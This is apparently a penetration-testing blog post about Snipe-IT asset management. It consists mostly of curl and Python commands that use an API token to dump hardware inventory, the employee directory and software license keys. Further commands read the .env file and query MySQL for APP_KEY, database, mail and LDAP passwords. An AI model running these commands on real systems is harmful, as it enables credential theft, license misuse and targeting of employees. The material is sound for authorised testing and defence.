IT Asset Management Security Testing

Snipe-IT Security Testing: Default Credentials, API Token, Asset Management, and License Keys

📅 July 3, 2026 ⏱ 12 min read 🏷 Snipe-IT, IT Asset Management Security, API Token, Software License Keys, Laravel APP_KEY, LDAP Credentials

API Token Access and Asset Enumeration

# Snipe-IT — API token authentication and hardware asset enumeration
SNIPEIT_URL="https://snipeit.example.com"
API_TOKEN="your-snipeit-api-token"

# Test API access and verify current user
curl -s "${SNIPEIT_URL}/api/v1/users/me" \
  -H "Authorization: Bearer ${API_TOKEN}" \
  -H "Accept: application/json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'User: {d.get(\"username\")} name={d.get(\"name\")} email={d.get(\"email\")}')
perms = d.get('permissions',{})
print(f'Superadmin: {perms.get(\"superadmin\")} admin: {perms.get(\"admin\")}')
" 2>/dev/null

# Enumerate all hardware assets — complete hardware inventory
curl -s "${SNIPEIT_URL}/api/v1/hardware?limit=500&offset=0" \
  -H "Authorization: Bearer ${API_TOKEN}" \
  -H "Accept: application/json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
assets = d.get('rows',[])
total = d.get('total',0)
print(f'Hardware assets: {total}')
for a in assets[:20]:
    assigned = a.get('assigned_to',{}) or {}
    print(f'  [{a.get(\"id\")}] {a.get(\"name\")} tag={a.get(\"asset_tag\")} serial={a.get(\"serial\")}')
    print(f'    Model: {a.get(\"model\",{}).get(\"name\")} manufacturer={a.get(\"model\",{}).get(\"manufacturer\",{}).get(\"name\")}')
    print(f'    Assigned to: {assigned.get(\"name\")} ({assigned.get(\"type\")}) location={a.get(\"location\",{}).get(\"name\")}')
" 2>/dev/null

# Enumerate all users — complete employee/user list with asset counts
curl -s "${SNIPEIT_URL}/api/v1/users?limit=500" \
  -H "Authorization: Bearer ${API_TOKEN}" \
  -H "Accept: application/json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('rows',[])
print(f'Users: {d.get(\"total\",0)}')
for u in users[:20]:
    print(f'  [{u.get(\"id\")}] {u.get(\"username\")} name={u.get(\"name\")} email={u.get(\"email\")}')
    print(f'    Department: {u.get(\"department\",{}).get(\"name\")} location={u.get(\"location\",{}).get(\"name\")} assets={u.get(\"assets_count\")}')
" 2>/dev/null

Software License Key Extraction

# Snipe-IT software license enumeration — serial key extraction
SNIPEIT_URL="https://snipeit.example.com"
API_TOKEN="your-snipeit-api-token"

# Enumerate all software licenses — serial keys for all tracked software
curl -s "${SNIPEIT_URL}/api/v1/licenses?limit=500" \
  -H "Authorization: Bearer ${API_TOKEN}" \
  -H "Accept: application/json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
licenses = d.get('rows',[])
total = d.get('total',0)
print(f'Software licenses: {total}')
for lic in licenses:
    cat = lic.get('category',{}) or {}
    mfr = lic.get('manufacturer',{}) or {}
    print(f'  [{lic.get(\"id\")}] {lic.get(\"name\")} mfr={mfr.get(\"name\")} seats={lic.get(\"seats\")}')
    print(f'    Serial: {lic.get(\"serial\")} product_key={lic.get(\"product_key\")}')
    print(f'    Purchase price: {lic.get(\"purchase_cost\")} Expiry: {lic.get(\"expiration_date\")}')
" 2>/dev/null

# Get license seats — maps individual license key assignments to users
LICENCE_ID="1"
curl -s "${SNIPEIT_URL}/api/v1/licenses/${LICENCE_ID}/seats" \
  -H "Authorization: Bearer ${API_TOKEN}" \
  -H "Accept: application/json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
seats = d.get('rows',[])
print(f'License seats: {d.get(\"total\",0)}')
for s in seats:
    assigned = s.get('assigned_to',{}) or {}
    print(f'  Seat {s.get(\"id\")}: {assigned.get(\"name\")} ({assigned.get(\"type\")}) license_key={s.get(\"license_key\")}')
" 2>/dev/null

Configuration and LDAP Credential Extraction

# Snipe-IT .env and LDAP credential extraction

# Laravel .env — APP_KEY and database credentials
cat /var/www/html/snipeit/.env 2>/dev/null | grep -E "APP_KEY|DB_PASSWORD|DB_USERNAME|MAIL_PASSWORD|LDAP"
# APP_KEY — Laravel encryption key for encrypted database fields
# DB_PASSWORD — MySQL database password
# MAIL_PASSWORD — SMTP password for email notifications
# LDAP_BINDDN, LDAP_BINDPW — Active Directory bind credentials

# LDAP bind credentials in Snipe-IT settings (also in .env)
mysql -u snipeit -p"DB_PASSWORD" snipeit 2>/dev/null << 'EOF'
SELECT name, value FROM settings
WHERE name IN ('ldap_server', 'ldap_username', 'ldap_password',
               'ldap_binddn', 'ldap_bindpw', 'mail_password',
               'slack_endpoint', 'google_client_secret');
EOF
# ldap_password — Active Directory bind password (may be in .env or settings table)
# slack_endpoint — Slack webhook URL for notifications
# google_client_secret — Google OAuth application secret

Snipe-IT Security Hardening

Security Test	Method	Risk
Software license serial key enumeration	GET /api/v1/licenses with API token — returns all software licenses with serial numbers and product keys; enterprise volume license keys for Microsoft, Adobe, and other commercial software; enables unauthorized software activation or resale of license keys	Critical
Hardware asset and user assignment enumeration	GET /api/v1/hardware — returns all IT assets with serial numbers, models, and employee assignments; complete hardware inventory mapping all devices to users, departments, and locations	High
Laravel APP_KEY extraction for decryption and session forgery	Read /var/www/html/snipeit/.env — APP_KEY enables decrypting any encrypted Snipe-IT database fields and forging Laravel session cookies for any user account	Critical
LDAP bind credential extraction	Read .env or MySQL settings table — LDAP_BINDPW / ldap_password for Active Directory bind account; enables AD enumeration with the Snipe-IT service account credentials	High
Employee directory and organizational structure	GET /api/v1/users — returns all employees with usernames, emails, departments, locations, and asset counts; complete organizational chart and directory for social engineering targeting	High